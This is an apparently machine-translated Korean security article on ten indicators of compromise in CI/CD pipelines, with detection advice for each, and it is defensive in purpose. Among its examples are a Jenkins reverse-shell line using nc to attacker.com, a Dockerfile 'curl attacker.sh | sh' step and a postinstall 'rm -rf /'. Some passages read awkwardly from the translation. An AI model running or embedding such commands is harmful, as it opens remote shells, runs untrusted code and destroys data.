서론: 사이버 보안 침해의 지표는 무엇일까요?
침해 지표는 시스템 또는 pipeline 공격받고 있을지도 모릅니다. 간단히 말해서, 타협의 지표 공격자들이 남긴 흔적, 예를 들어 이상한 것들 login파일 변경이나 숨겨진 악성코드와 같은 오류. IOC 사이버보안그것들은 범죄 현장의 지문처럼 작용하여 무언가 잘못되었다는 명확한 증거를 제공합니다. 따라서 개발자들이 질문할 때 타협의 지표는 무엇인가요?그 해답은 서버나 방화벽에만 국한되지 않고, 현대 보안 시스템에 숨겨진 위험 요소까지 포함합니다. CI/CD pipelines.
이것들 중에서 pipeline공격자는 눈에 띄지 않게 코드를 변조하거나, 악성 종속성을 삽입하거나, 빌드 단계를 변경할 수 있습니다. 그러나 대부분의 가이드는 여전히 서버나 네트워크에만 초점을 맞추고 있습니다. 그 결과 소프트웨어 공급망이 가장 쉬운 공격 대상 중 하나가 되었습니다.
그렇기 때문에 타협의 징후를 찾는 것이 중요합니다. CI/CD pipelines는 필수적입니다. 무엇보다도, s는 팀이 악성 소프트웨어를 차단하고, 기밀 정보를 보호하며, 소프트웨어 배포의 모든 단계를 안전하게 유지하는 데 도움이 됩니다.
타협을 나타내는 10가지 주요 지표 CI/CD Pipelines
침해 지표를 설명할 때 대부분의 목록은 서버나 네트워크에 초점을 맞춥니다. 하지만, CI/CD pipeline공격자들은 매우 다양한 흔적을 남깁니다. 이러한 신호를 인식하는 것은 사전 예방적 방어에 매우 중요합니다. 아래는 모든 개발자와 보안 엔지니어가 주의해야 할 10가지 IOC(침해 지표) 사이버 보안 위험 신호입니다.
1. 의심스러운 의존성 변화
타협의 주요 지표 중 하나는 pipelines는 갑작스럽고 이상한 종속성 업데이트입니다. 공격자는 종종 개발자가 패키지 관리자에 대해 갖는 신뢰를 이용하여 위험한 패키지를 추가합니다.
예를 들어 npm에서 package.json 차이점에는 갑자기 다음이 포함될 수 있습니다:
이러한 변경 사항은 안전해 보일 수 있지만 모든 빌드에 트로이목마 코드를 삽입할 수 있습니다.
충격: 손상된 빌드는 소스에서 악성코드를 그대로 물려받습니다.
발각: 종속성 검토를 시행하고, 잠금 파일 차이점을 추적하며, 새로운 패키지를 항상 스캔합니다.
2. 빌드에 포함된 난독화 코드
악성코드 제작자는 검사를 우회하기 위해 난독화 기법을 사용합니다. 결과적으로, 이러한 침해 지표는 CI/CD pipelines는 탐지하기 가장 어려운 유형 중 하나입니다. 실제로 난독화된 페이로드는 종종 눈에 띄지 않게 오픈 소스 라이브러리나 컨테이너 이미지에 침투합니다.
예 :
- PyPI 패키지를 사용합니다.
base64.b64decode("cHJpbnQoSGFja2VkKQ=="). - 불필요한 UPX 바이너리가 포함된 Docker 이미지입니다.
- 자바스크립트로 가득 차 있음
\x41\x42자격 증명 탈취범들이 숨어있는 곳에서 탈출합니다.
충격: 숨겨진 코드는 빌드 또는 런타임 중에 조용히 실행되므로 IOC 사이버 보안에서 매우 중요한 신호입니다.
발각: 결합 SAST 악성코드 검사를 통해 인코딩되거나 압축된 코드를 탐지하십시오. 무엇보다도, 난독화는 추가 조사가 필요한 위험 신호로 간주해야 합니다.
3. Git에서 노출된 비밀 정보: 전형적인 IOC 사이버 보안 위험
CI/CD pipelines는 종종 저장소에서 직접 비밀 정보를 상속받습니다. 그러나 Git에 비밀 정보가 나타날 때그렇게 되면 그것들은 "타협의 지표는 무엇인가?"라는 질문에 대한 가장 명확한 답 중 하나가 됩니다. pipeline자격 증명이 Git에 들어가면 공격자는 이를 무기한으로 악용할 수 있습니다.
예 :
- A
.env포함하는 파일AWS_SECRET_KEY=. - 토큰이 푸시되었습니다
config.json. - 삭제 후에도 비밀 정보가 Git 기록에 남아 있습니다.
충격: 노출된 키는 공격자에게 직접적인 접근 권한을 제공합니다. CI/CD pipeline보안 시스템, 클라우드 시스템 또는 데이터베이스와 같은 보안 취약점을 의미합니다. 따라서 이는 보안 침해의 가장 위험한 징후 중 하나입니다.
발각: pre-commit hooks 또한, 비밀 키 스캔을 위한 CI 작업을 수행하고 유출된 키는 즉시 폐기합니다. 더불어, 노출 가능성을 줄이기 위해 자동화된 복구 조치를 시행합니다.
4. 변조됨 Pipeline 구성: 숨겨진 침해 표시
Pipeline 구성 정보는 매우 가치 있는 목표물입니다. 왜냐하면 단 하나의 수정 사항이 전체 작업 흐름을 망쳐놓는 경우가 많습니다.결과적으로 변조되었습니다. pipeline 이러한 파일은 기존 모니터링 도구가 거의 감지하지 못하는 주요 IOC 사이버 보안 위험 요소입니다.
예 :
GitHub Actions에서:
- GitLab에서 악성 작업이 추가되었습니다.
.gitlab-ci.yml민감한 데이터를 유출하는 행위. - Jenkins에서:
sh "nc -e /bin/bash attacker.com 4444".
충격: 승인되지 않은 이러한 변경 사항은 귀하의 pipeline 공격자에게 영구적인 백도어를 제공하는 셈인데, 이는 명백한 침해의 징후로 간주됩니다.
발각: 서명된 구성을 강제하고, PR 승인을 요구하며, 예기치 않은 작업을 모니터링합니다. 또한 다음 사항을 설정합니다. guardrails 변경된 워크플로를 자동으로 차단합니다.
5. 권한 IaC 기본값
잘못 구성된 인프라 정의는 종종 숨겨진 백도어를 생성합니다. 결과적으로, 특권 기본 설정이 발생합니다. IaC 이는 전형적인 IOC 사이버 보안 위험 요소입니다.
예 :
- Pod에 권한을 부여하는 Kubernetes 배포
privileged: true. - Helm 차트를 사용하여 서비스를 노출합니다.
0.0.0.0:22.
충격: 공격자는 루트 권한으로 접근하거나 내부 서비스를 공개적으로 노출시킬 수 있습니다. 결과적으로 이러한 문제들은 공격 표면을 크게 확장시킵니다.
발각: 신청 IaC 병합 전에 최소 권한 원칙을 적용하기 위한 스캔을 수행합니다. 또한 모든 구성이 검토 과정에 포함되도록 합니다. pipeline.
6. 비정상적인 빌드 동작
공격자는 종종 변경합니다. pipeline 악의적인 행위를 은밀히 실행하기 위한 행동입니다. 다시 말해, 비정상적인 빌드 활동은 침해의 징후를 나타내는 가장 명확한 해답 중 하나입니다. CI/CD pipelines.
예 :
- 알 수 없는 도메인으로 외부 네트워크 요청을 보내는 빌드입니다.
- Node.js 프로젝트가 갑자기 PowerShell을 생성하는 문제
npm install. - CI 작업에서 빌드 스크립트에 정의되지 않은 대용량 바이너리 파일을 다운로드하고 있습니다.
충격: 손상된 빌드는 멀웨어 배포 지점 역할을 할 수 있습니다. 무엇보다도, 이러한 빌드는 모든 배포 환경에 악성 페이로드를 퍼뜨립니다.
발각: 빌드 로그를 모니터링하여 예기치 않은 프로세스 또는 연결을 감지하십시오. 또한, 정상 범위를 벗어난 동작을 감지하도록 이상 탐지 기능을 구성하십시오.
7. 악성 패키지 스크립트는 IOC 사이버 보안 위험 요소입니다.
패키지 관리자는 라이프사이클을 지원합니다. hooks 공격자들이 악용하는 취약점입니다. 따라서 npm, PyPI 또는 Dockerfile에 악성 스크립트가 있는 것은 침해의 강력한 징후입니다.
예 :
- npm:
postinstall스크립트 실행 중rm -rf /또는 C2에 신호를 보내는 것. - PyPI:
setup.py설치 시 숨겨진 Python 코드를 실행합니다. - 도커파일:
RUN curl attacker.sh | sh.
충격: 이 공격은 런타임 테스트가 시작되기 전인 설치 과정 중에 실행됩니다. 따라서 개발자는 너무 늦을 때까지 공격 사실을 알아차리지 못할 수도 있습니다.
발각: 패키지 매니페스트에서 설치 스크립트를 검사합니다. 또한 위험한 스크립트 실행을 제한합니다. hooks in CI/CD 노출을 줄이기 위한 조치.
8. 레지스트리 오염 침해 지표
공격자는 레지스트리의 아티팩트를 교체하거나 수정하며, 이러한 사건은 공급망 침해의 전형적인 징후입니다. pipelines.
예 :
- Docker 이미지 태그가 트로이목마 악성코드를 포함하여 사용자 모르게 업데이트되었습니다.
- 내부 패키지가 악성 버전으로 교체되었습니다.
- npm 네임스페이스 무단 점유(예: ...)
lodash-proxy.
충격: 레지스트리 아티팩트를 사용하는 모든 빌드가 손상됩니다. 뿐만 아니라, 이 손상은 하위 서비스로까지 확산됩니다.
발각: 모든 레지스트리 추출에 대해 서명 및 무결성 검사를 시행합니다. 또한 아티팩트의 출처를 추적합니다. SBOM 확인.
9. 비정상적인 사용자 활동을 IOC 증거로 활용
계정이 해킹당하면 거의 항상 비정상적인 흔적이 남습니다. 따라서 개발자의 비정상적인 행동은 해킹의 강력한 징후입니다.
예 :
- Commits는 현지 시간으로 새벽 3시에 밀었습니다.
- 휴가 중인 담당자의 홍보 승인.
- Pipeline비정상적으로 빈번하게 발생했습니다.
충격: 공격자는 탈취한 자격 증명을 악용하여 악의적인 변경 사항을 삽입합니다. 결국, 권한이 없는 사용자는... commits는 일반적인 작업 흐름에 쉽게 통합됩니다.
발각: 모니터 SCM 이상 징후를 감지하고, 다단계 인증(MFA)을 시행하며, 토큰을 정기적으로 교체하십시오. 또한 의심스러운 활동에 대해 경고를 표시하십시오. commit 또는 승인 패턴.
10. IOC 사이버 보안에서 무결성 또는 서명 검사 실패
흔하지만 간과되는 것 타협의 지표 무결성 또는 서명 검사에 실패했습니다. IOC 사이버 보안에서 이러한 검사는 코드 또는 아티팩트가 진짜인지 확인합니다. 이 검사를 건너뛰면 문제가 발생합니다. pipeline노출되었습니다.
예 :
- SHA256 해시값이 예상 체크섬과 일치하지 않습니다.
- GPG 서명이 없거나 유효하지 않습니다.
- An SBOM 서명되지 않은 아티팩트를 표시합니다.
충격: 무결성 오류는 종종 변조, 레지스트리 오염 또는 악성코드 주입을 의미합니다.
발각: 서명 검사를 자동화하고, 체크섬 유효성 검사를 시행하며, 서명되지 않은 구성 요소를 차단하십시오. 무엇보다도, 검사에 실패한 모든 항목을 시스템 침해의 명백한 증거로 간주하십시오.
CI/CD 침해 징후를 한눈에 보기
| 침해 지표(IOC) | 영향 CI/CD Pipelines | 감지 방법 |
|---|---|---|
| 의심스러운 의존성 변화 | 공격자는 패키지 관리자에 악성 라이브러리를 삽입하여 빌드를 손상시킵니다. | 락파일 차이점을 추적하고, 종속성 검토를 시행하며, 종속성을 지속적으로 스캔합니다. |
| 빌드에 포함된 난독화된 코드 | 숨겨진 페이로드는 빌드 또는 런타임 중에 탐지되지 않고 실행됩니다. | SAST 또한 base64, hex 또는 압축 코드 패턴을 식별하기 위한 악성코드 검사 기능도 있습니다. |
| Git의 비밀이 폭로되다 | 유출된 토큰이나 API 키는 공격자에게 핵심 시스템에 대한 직접적인 접근 권한을 부여합니다. | Git에서 비밀 스캔을 실행합니다 hooks 유출된 계정 정보를 자동으로 취소합니다. |
| 변조 Pipeline 구성 | 수정된 워크플로는 데이터 유출 또는 내부 데이터 영구 저장을 허용합니다. CI/CD. | PR 승인을 요구하고, 서명된 구성을 강제하며, 모니터링합니다. pipeline 변경. |
| 권한 IaC 기본값 | 지나치게 관대한 역할 설정이나 안전하지 않은 기본 설정은 클라우드 환경을 취약하게 만듭니다. | Terraform, Kubernetes 및 Helm 파일에서 최소 권한 적용 여부를 검사합니다. |
| 비정상적인 빌드 동작 | Pipeline악성코드 배포 지점이나 측면 이동 경로로 사용됩니다. | 빌드 로그를 분석하여 예기치 않은 다운로드, 프로세스 또는 외부 호출이 있는지 확인합니다. |
| 악성 패키지 스크립트 | 숨겨진 설치 전/후 스크립트가 런타임 테스트 전에 페이로드를 실행합니다. | 위험한 npm/PyPI 스크립트를 차단하고 실행을 제한합니다. CI/CD 작업. |
| 레지스트리 중독 | 트로이목마화된 아티팩트는 레지스트리에서 신뢰할 수 있는 이미지 또는 바이너리 파일을 대체합니다. | 체크섬을 확인하고, 서명 유효성 검사를 시행하며, 레지스트리를 사전에 검사합니다. |
| 비정상적인 사용자 활동 | 해킹당한 계정은 악성 프로그램을 배포합니다. commits 또는 트리거 pipelines. | MFA를 시행하고 모니터링합니다. commit이상 징후를 찾아 분석합니다. login 패턴. |
| 무결성 또는 서명 확인 실패 | 변조된 코드, 종속성 또는 이미지가 유입되었음을 나타냅니다. pipeline. | 무결성 검사를 자동화하고 서명되지 않았거나 일치하지 않는 구성 요소를 차단합니다. |
기존 IOC 사이버보안이 실패하는 이유 CI/CD 위험성
대부분의 조직은 이미 서버, 컴퓨터 또는 네트워크에서 침해 지표(IOC)를 모니터링하고 있습니다. 그러나 이러한 고전적인 IOC 접근 방식은 사이버 보안에 있어 다음과 같은 점을 간과합니다. CI/CD pipelines는 현재 가장 중요한 공격 표면 중 하나입니다. 실제로, pipelines는 기존 도구로는 감지할 수 없는 고유한 침해 신호를 보여줍니다.
전통적인 보안의 침해 지표
기존 IOC 사이버 보안에서는 보통 다음과 같은 사항에 중점을 둡니다.
- 비범 한 login자격 증명이 도난당했음을 암시하는 s 또는 IP 주소.
- 악성코드를 드러내는 의심스러운 파일 해시 또는 레지스트리 변경 사항.
- 데이터 유출을 시사하는 예상치 못한 외부 트래픽이 감지되었습니다.
이것들은 잘 알려진 지표들이며, 또한 추적되고 있습니다. MITER ATT & CK 프레임 워크이는 일반적인 공격자의 행동과 전술을 파악하는 데 유용한 신호입니다. 하지만 이러한 신호는 주로 운영 체제나 기업 네트워크에 적용되므로 소프트웨어 공급망 초기 단계에서 발생하는 미묘한 변조를 감지하지 못합니다.
CI/CD Pipelines는 다릅니다
CI/CD pipelines는 개발자가 작업하는 자동화된 환경입니다. commit 코드 작성, 종속성 가져오기, 빌드 릴리스 등 모든 배포 과정에서 공격자는 한 번의 침해가 모든 배포에 연쇄적으로 영향을 미친다는 사실을 알고 있습니다. 따라서 침해의 징후는 무엇일까요? CI/CD pipelines? 둘은 굉장히 다르게 생겼어요.
- package.json 또는 requirements.txt 파일에 악성 종속성이 몰래 추가되었습니다.
- Git에 노출된 API 키 또는 토큰 commits 또는 .env 파일.
- npm 또는 PyPI 패키지에 삽입된 난독화 코드.
- Terraform 또는 Kubernetes 파일에 privileged: true와 같은 안전하지 않은 기본값이 포함되어 있습니다.
- Pipeline 데이터 유출이나 백도어 개설을 위해 조작된 작업들.
이러한 타협 신호는 CI/CD 보이지 않게 되다 standard 보안 도구.
IOC 사이버보안의 격차
많은 팀이 침해 지표의 중요성을 이해하고 있지만, 여전히 서버 및 네트워크 로그를 통한 탐지에만 의존하고 있습니다. 따라서 공격자는 일반적인 흔적을 남기지 않고 빌드를 변조하거나 악성코드를 삽입할 수 있습니다. XZ Utils 백도어 또는 악성 npm 패키지와 같은 사건들이 실제 운영 환경에 배포될 때까지 탐지되지 않았던 것도 바로 이러한 이유 때문입니다.
이러한 공급망 타협은 또한 다음과 같은 점에서 부각됩니다. CISA의 공급망 보안 지침이는 공격자들이 점점 더 많은 대상을 표적으로 삼고 있다는 것을 경고합니다. CI/CD pipelines와 레지스트리.
테이크 아웃
기존의 IOC(침해 지표) 기반 사이버 보안은 필수적이지만 충분하지 않습니다. 무엇보다도, 팀은 특정 상황에 맞는 침해 지표를 파악해야 합니다. CI/CD pipeline그래야만 악성 코드를 탐지할 수 있습니다. pipeline 환경 전반에 퍼지기 전에 학대를 방지합니다.





